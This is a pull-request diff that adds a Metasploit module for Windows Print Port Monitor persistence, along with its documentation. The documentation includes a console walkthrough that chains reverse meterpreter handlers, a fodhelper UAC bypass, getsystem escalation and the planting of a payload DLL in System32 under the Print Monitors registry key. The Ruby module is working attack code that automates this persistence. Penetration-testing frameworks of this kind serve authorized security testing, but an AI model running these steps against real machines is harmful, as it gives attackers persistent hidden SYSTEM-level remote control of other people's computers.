Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
230 changes: 230 additions & 0 deletions documentation/modules/exploit/windows/persistence/port_monitor.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,230 @@
## Vulnerable Application

### Windows Print Spooler (Port Monitor Persistence)

The Windows Print Spooler service supports loading custom **Print Monitor DLLs**, which are registered under:
`HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`

At system startup (or when the Spooler service restarts), Windows automatically loads all configured monitor DLLs.
This behavior can be abused to achieve **persistence**,
as any malicious DLL placed and registered in this location will be executed by the Spooler service.

This module leverages the **manual registry method** (instead of the `AddMonitor` API) by:

* Writing a malicious DLL to `%WINDIR%\System32`
* Creating or modifying a monitor registry key
* Setting the `Driver` value to point to the payload DLL

Since this requires writing to **System32** and modifying **HKLM**, **administrative or SYSTEM privileges are required**.


## Verification Steps

1. Start `msfconsole`
2. Get a SYSTEM session
3. use exploit/windows/persistence/port_monitor
4. set SESSION
5. run
6. Restart the Print Spooler service if it was not restarted automatically by the module
7. Trigger the payload execution (e.g. by restarting the service or rebooting the system, wait for callback or interact with a handler)
8. A new (user/SYSTEM) session should be received
9. (Optional) Verify registry entry under: `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MONITOR_NAME>`

## Options

### MONITOR_NAME

Name of the registry key created under:
`HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`

(Default: randomized 8-character alpha string)

### DLL_NAME

Name of the payload DLL written to: `%WINDIR%\System32`. The `.dll` extension is
appended automatically if not supplied.

(Default: randomized 8-character alpha string)

### RESTART_SPOOLER

Restart the Print Spooler service after installation to trigger the payload immediately.

(Default: `true`)

## Scenarios

### Windows

#### Initial System Session

```msf exploit(windows/persistence/port_monitor) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > windows/x64/meterpreter/reverse_https
[-] Unknown command: windows/x64/meterpreter/reverse_https. Run the help command for more details.
This is a module we can load. Do you want to use windows/x64/meterpreter/reverse_https? [y/N] exit
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 172.21.176.212
LHOST => 172.21.176.212
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://172.21.176.212:4444
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Without a database connected that payload UUID tracking will not work!
[*] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Staging x64 payload (233052 bytes) ...
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: abgnhr2o) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.1:59514) at 2026-03-11 01:49:18 +0200

meterpreter > background
[*] Backgrounding session 1...

msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac_fodhelper) > set SESSION 1
SESSION => 1
msf exploit(windows/local/bypassuac_fodhelper) > set LHOST 172.21.176.212
LHOST => 172.21.176.212
msf exploit(windows/local/bypassuac_fodhelper) > set LPORT 5555
LPORT => 5555
msf exploit(windows/local/bypassuac_fodhelper) > run
[*] Started reverse TCP handler on 172.21.176.212:5555
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
[*] Sending stage (190534 bytes) to 172.21.176.1
[*] Cleaning up registry keys ...
[*] Meterpreter session 2 opened (172.21.176.212:5555 -> 172.21.176.1:53775) at 2026-03-11 02:13:39 +0200

meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/local/bypassuac_fodhelper) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/window NERO\DELL @ NERO 172.21.176.212:4444 -> 172.2
s 1.176.1:59514 (172.21.176.1)
2 meterpreter x86/window NERO\DELL @ NERO 172.21.176.212:5555 -> 172.2
s 1.176.1:53775 (172.21.176.1)

msf exploit(windows/local/bypassuac_fodhelper) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NERO\DELL
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
```



#### Install Persistence

```msf exploit(windows/local/bypassuac_fodhelper) > use exploit/windows/persistence/port_monitor
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/port_monitor) > set SESSION 2
SESSION => 2
msf exploit(windows/persistence/port_monitor) > show options

Module options (exploit/windows/persistence/port_monitor):

Name Current Setting Required Description
---- --------------- -------- -----------
DLL_NAME persist.dll yes DLL filename to write in %WINDIR%\S
ystem32.
MONITOR_NAME Hadess yes Name of the print monitor registry
key to create.
RESTART_SPOOLER false yes Restart the Print Spooler service t
o trigger monitor loading immediate
ly.
SESSION 2 yes The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none)
LHOST 172.21.176.212 yes The listen address (an interface may be sp
ecified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

msf exploit(windows/persistence/port_monitor) > check
[+] The target is vulnerable. Can write to monitor registry path and System32
msf exploit(windows/persistence/port_monitor) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/port_monitor) >
[-] Handler failed to bind to 172.21.176.212:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Can write to monitor registry path and System32
[*] Writing payload DLL to C:\WINDOWS\System32\persist.dll
[*] Setting print monitor Driver value to persist.dll (C:\WINDOWS\System32\persist.dll)
[+] Persistence established. Registry: HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess\Driver -> persist.dll
[*] Payload should execute when the Print Spooler service starts (typically at boot).
[*] Meterpreter-compatible Cleanup RC file: /home/nayera/.msf4/logs/persistence/NERO_20260318.0548/NERO_20260318.0548.rc

msf exploit(windows/persistence/port_monitor) >

msf exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > shell
Process 18120 created.
Channel 6 created.
Microsoft Windows [Version 10.0.26200.8037]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>net stop spooler
net start spooler
net stop spooler
The Print Spooler service is stopping.

The Print Spooler service was stopped successfully.


C:\Windows\System32>net start spooler
The Print Spooler service is starting.
The Print Spooler service was started successfully.



C:\Windows\System32>reg query HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess

reg query HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Hadess

Driver REG_SZ persist.dll

```

<!-- TODO: this transcript stops at the registry key being set and the Spooler
service restarting. Add the follow-up step showing the handler actually
receiving a new session after the Spooler restart/reboot, to demonstrate the
persistence firing end-to-end. -->

158 changes: 158 additions & 0 deletions modules/exploits/windows/persistence/port_monitor.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Print Port Monitor Persistence',
'Description' => %q{
This module establishes persistence by registering a malicious Print Monitor DLL
under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Print Spooler
service loads configured monitor DLLs at startup, causing payload execution when
the spooler service starts (for example, on boot).

This module implements the manual registry method (not the AddMonitor API method).
It writes the payload DLL to %WINDIR%\System32 and requires administrative
privileges to write to System32 and modify HKLM.
},
'License' => MSF_LICENSE,
'Author' => ['Nayera'],
'Arch' => [ARCH_X64, ARCH_X86],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'Targets' => [
[ 'Automatic', {} ]
],
'DisclosureDate' => '2026-03-10',
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_010_PORT_MONITORS],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/print/adding-a-port-monitor'],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/printdocs/print-monitors']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options(
[
OptString.new('MONITOR_NAME', [true, 'Name of the print monitor registry key to create.', Rex::Text.rand_text_alpha(8)]),
OptString.new('DLL_NAME', [true, 'DLL filename to write in %WINDIR%\\System32.', Rex::Text.rand_text_alpha(8)]),
OptBool.new('RESTART_SPOOLER', [true, 'Restart the Print Spooler service to trigger monitor loading immediately.', true])
]
)
end

def monitor_reg_key
"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\#{datastore['MONITOR_NAME']}"
end

def system32_path
expand_path('%WINDIR%\\System32')
end

def payload_name
name = datastore['DLL_NAME'].to_s
name.downcase.end_with?('.dll') ? name : "#{name}.dll"
end

def payload_path
"#{system32_path}\\#{payload_name}"
end

def check
return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_admin? || is_system?
return CheckCode::Safe("System32 path does not exist: #{system32_path}") unless directory?(system32_path)

test_file = "#{system32_path}\\#{Rex::Text.rand_text_alpha(6)}.tmp"

begin
write_file(test_file, 'test')
rm_f(test_file)
rescue StandardError
return CheckCode::Safe("Unable to write to #{system32_path}")
end
test_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\' + Rex::Text.rand_text_alpha(8)
return CheckCode::Safe('Unable to create temporary monitor registry key under HKLM') unless registry_createkey(test_key)

registry_deletekey(test_key)
CheckCode::Vulnerable('Can write to monitor registry path and System32')
end

def install_persistence
fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_admin? || is_system?

fail_with(Failure::BadConfig, 'DLL_NAME must not contain path separators') if payload_name.match?(%r{[\\/]})
fail_with(Failure::BadConfig, 'MONITOR_NAME cannot be empty') if datastore['MONITOR_NAME'].strip.empty?

payload_dll = generate_payload_dll(dll_exitprocess: true)
if sysinfo['Architecture'] != payload_instance.arch.first
print_warning("Payload architecture (#{payload_instance.arch.first}) does not match target architecture (#{sysinfo['Architecture']})")
end

print_status("Writing payload DLL to #{payload_path}")
write_file(payload_path, payload_dll)
fail_with(Failure::UnexpectedReply, "Failed to write payload DLL to #{payload_path}") unless exists?(payload_path)

@existing_monitor_key = !registry_enumkeys(monitor_reg_key).nil?
unless @existing_monitor_key || registry_createkey(monitor_reg_key)
fail_with(Failure::UnexpectedReply, "Failed to create monitor key: #{monitor_reg_key}")
end

@original_driver = registry_getvaldata(monitor_reg_key, 'Driver') if @existing_monitor_key

print_status("Setting print monitor Driver value to #{payload_name} (#{payload_path})")
unless registry_setvaldata(monitor_reg_key, 'Driver', payload_name, 'REG_SZ')
fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{monitor_reg_key}\\Driver")
end

print_good("Persistence established. Registry: #{monitor_reg_key}\\Driver -> #{payload_name}")
print_status('Payload should execute when the Print Spooler service starts (typically at boot).')

restart_spooler if datastore['RESTART_SPOOLER']

@clean_up_rc << "rm \"#{payload_path.gsub('\\', '/')}\"\n"
if @existing_monitor_key
if @original_driver.nil?
@clean_up_rc << "reg deleteval -k '#{monitor_reg_key}' -v 'Driver'\n"
else
@clean_up_rc << "reg setval -k '#{monitor_reg_key}' -v 'Driver' -d '#{@original_driver}' -t REG_SZ\n"
end
else
@clean_up_rc << "reg deletekey -k '#{monitor_reg_key}'\n"
end
end

def restart_spooler
print_status('Attempting to restart Spooler service for immediate payload trigger...')
stop_result = service_stop('Spooler')
start_result = service_start('Spooler')
if stop_result.zero? && start_result.zero?
print_good('Spooler service restarted successfully')
else
print_warning("Unable to restart Spooler cleanly (stop=#{stop_result}, start=#{start_result}).")
end
rescue Rex::Post::Meterpreter::RequestError, NoMethodError => e
print_warning("Failed to restart Spooler service automatically: #{e.class} #{e}")
end
end